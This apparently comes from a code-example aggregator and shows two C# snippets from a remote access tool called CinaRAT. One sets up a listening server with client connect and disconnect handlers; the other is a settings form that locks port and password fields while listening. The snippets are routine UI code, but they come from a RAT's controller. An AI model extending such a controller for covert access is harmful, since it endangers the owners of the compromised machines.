예제 #1
0
        private void InitializeServer()
        {
            ListenServer = new CinaRATServer();

            ListenServer.ServerState        += ServerState;
            ListenServer.ClientConnected    += ClientConnected;
            ListenServer.ClientDisconnected += ClientDisconnected;
        }
예제 #2
0
파일: FrmSettings.cs 프로젝트: zha0/CinaRAT
        public FrmSettings(CinaRATServer listenServer)
        {
            this._listenServer = listenServer;

            InitializeComponent();

            if (listenServer.Listening)
            {
                btnListen.Text         = "Stop listening";
                ncPort.Enabled         = false;
                txtPassword.Enabled    = false;
                chkIPv6Support.Enabled = false;
            }

            ShowPassword(false);
        }